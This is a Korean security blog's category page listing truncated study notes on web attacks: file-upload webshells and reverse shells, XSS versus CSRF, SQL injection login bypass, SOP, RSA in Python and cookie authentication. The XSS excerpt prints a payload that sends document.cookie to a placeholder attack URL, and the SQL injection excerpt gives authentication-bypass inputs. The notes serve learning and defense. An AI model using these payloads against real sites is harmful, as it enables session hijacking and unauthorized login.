Security/Web

Security/Web

File Upload 취약점 / Reverse Shell

File Upload File Upload 취약점이란 공격자가 임의의 파일을 업로드 할 수 있는 공격입니다. 개인 웹서버의 게시판에 파일을 업로드 해보겠습니다. 게시판을 만들 때 파일 업로드 취약점 대응방안을 조치 안했기 때문에 .php 파일이 업로드가 됩니다. 해당 웹쉘 파일에는 한 줄 웹쉘이 들어가 있는 웹 쉘 파일을 업로드 했습니다. 파일 다운로드 경로가 노출 되있어서 바로 웹쉘을 실행했습니다. ls 명령어를 입력하니 upload 된 파일들이 나옵니다. 하지만 명령어를 입력하는게 많이 불편합니다. 전에 명령어를 기억 못하기 때문에 실제 환경과는 많이 다릅니다. 실제 환경처럼 조작하기 위해서 Reverse Shell을 해보도록 하겠습니다. Reverse Shell 리버스쉘은 클라이언트(공격자)가 리스..

Security/Web

XSS와 CSRF의 차이

XSS와 CSRF의 차이 XSS와 CSRF는 사용자의 브라우저를 대상으로 한다는 공통점이 있습니다. 하지만 CSRF는 사용자의 인증된 세션을 악용하는 공격 방식이고 XSS는 인증된 세션 없이도 공격을 진행할 수 있다는 차이점이 있습니다. XSS는 사용자가 특정 사이트를 신뢰한다는 사실을 이용한 공격 방식이지만, CSRF는 웹 애플리케이션이 인증된 사용자의 요청을 신뢰한다는 사실을 이용한 공격 방식입니다. 또한 XSS는 사용자에서 스크립트가 실행되지만 CSRF는 서버에서 스크립트가 실행된다는 차이점이 있습니다. 마지막으로 크로스 사이트 스크립팅과 크로스 사이트 요청 위조의 목적에도 차이가 있습니다. XSS는 사용자 PC에서 스크립트를 실행해 사용자의 정보를 탈취하는 것을 목적으로 하는 반면, CSRF는 요..

Security/Web

XSS(Cross Site Script) 정리

XSS(Cross Site Script) XSS(클라이언트 사이드 취약점)은 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점이다. 해당 종류의 취약점을 통해 이용자를 식별하기 위한 세션 및 쿠키 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다. Server vs Client → 서버에서 실행되는 코드 → 클라이언트 측에서 실행되는 코드(웹 브라우저) HTML, css, javascript WEB Request var i = new Image(); i.src = "attack URL?cookie=" + document.cookie; → 클라이언트 측 코드를 삽입하는 공격 → 피해자 컴퓨터 (웹 브라우저) 실행되게 만드는 공격 → 클라이언트는 이미지를 불러오는 과정에서 javascript ..

Security/Web

SQL Injection 정리

SQL Injection SQL 질의문을 삽입하는 공격 -> 데이터 추출, 인증 우회, 데이터 변조 mysql : # -> Comment(주석) ID : mario' select * from member where id='mario'#' and pass=' ' SQL Injection : 로그인 인증 우회 1. 식별 & 인증 동시 select * from member where id=' ' and pass=' ' 주석을 이용한 방법 : mario'# select * from member where id='mario#' or 를 이용한 방법1 : mario' or '1'='1 select * from member where id='mario'(참) or '1'='1 ' and pass='1234'(거짓) ..

Security/Web

[Web] Same Origin Policy(SOP)

Same Origin Policy (SOP) 동일 출처 정책, Same Origin Policy (SOP)는 클라이언트 사이드 웹 보안에 있어 중요한 요소입니다. 실제로 클라이언트 사이드 공격은 이 SOP를 우회하기 위한 것이라고 해도 과언이 아닙니다. 브라우저는 인증 정보로 사용될 수 있는 쿠키를 브라우저 내부에 보관합니다. 그리고 이용자가 웹 서비스에 접속할 때, 브라우저는 해당 웹 서비스에서 사용하는 인증 정보인 쿠키를 HTTP 요청에 포함시켜 전달합니다. 이와 같은 특징은 사이트에 직접 접속하는 것에만 한정되지 않습니다. 브라우저는 웹 리소스를 통해 간접적으로 타 사이트에 접근할 때도 인증 정보인 쿠키를 함께 전송하는 특징을 가지고 있습니다. 이 특징 때문에 악의적인 페이지가 클라이언트의 권한을 ..

Security/Web

[SQL Injection] 로그인 CASE와 우회방법

1. 식별&인증 동시 loginProc.php

Security/Web

[Python] RSA 암호 구현

Key 파일 생성 from Crypto.PublicKey import RSA def make_key(): key = RSA.generate(1024) # 1024비트의 RSA 키를 생성 public_key = key.publickey().exportKey() # 공개키 추출 private_key = key.exportKey() # 개인키 추출 with open('public_key.pem', 'wb') as f: # 파일 저장 f.write(public_key) with open('private_key.pem', 'wb') as f: f.write(private_key) make_key() 이 키 파일들을 이용해 아래와 같이 암호화와 복호화를 한다. 암호화 import base64 from Crypto...

Security/Web

로그인 인증 로직

Cookie 인증 쿠키는 Key와 Value로 이뤄진 일종의 단위로, 서버가 클라이언트에게 쿠키를 발급하면, 클라이언트는 서버에 요청을 보낼 때마다 쿠키를 같이 전송합니다. 서버는 클라이언트의 요청에 포함된 쿠키를 확인해 클라이언트를 구분할 수 있습니다. 용도 일반적으로 쿠키는 클라이언트의 정보 기록과 상태 정보를 표현하는 용도로 사용합니다. 상태 정보 많은 웹 사이트에서는 회원 가입과 로그인을 통해 개개인에게 맞춤형 서비스를 제공합니다. 웹 서버에서는 수많은 클라이언트의 로그인 상태와 이용자를 구별해야 하는데, 이때 클라이언트를 식별할 수 있는 값을 쿠키에 저장해 사용합니다. 단점 - 쿠키 변조 쿠키는 클라이언트의 브라우저에 저장되고 요청에 포함되는 정보입니다. 따라서, 악의적인 클라이언트는 쿠키 정보..

brains88
'Security/Web' 카테고리의 글 목록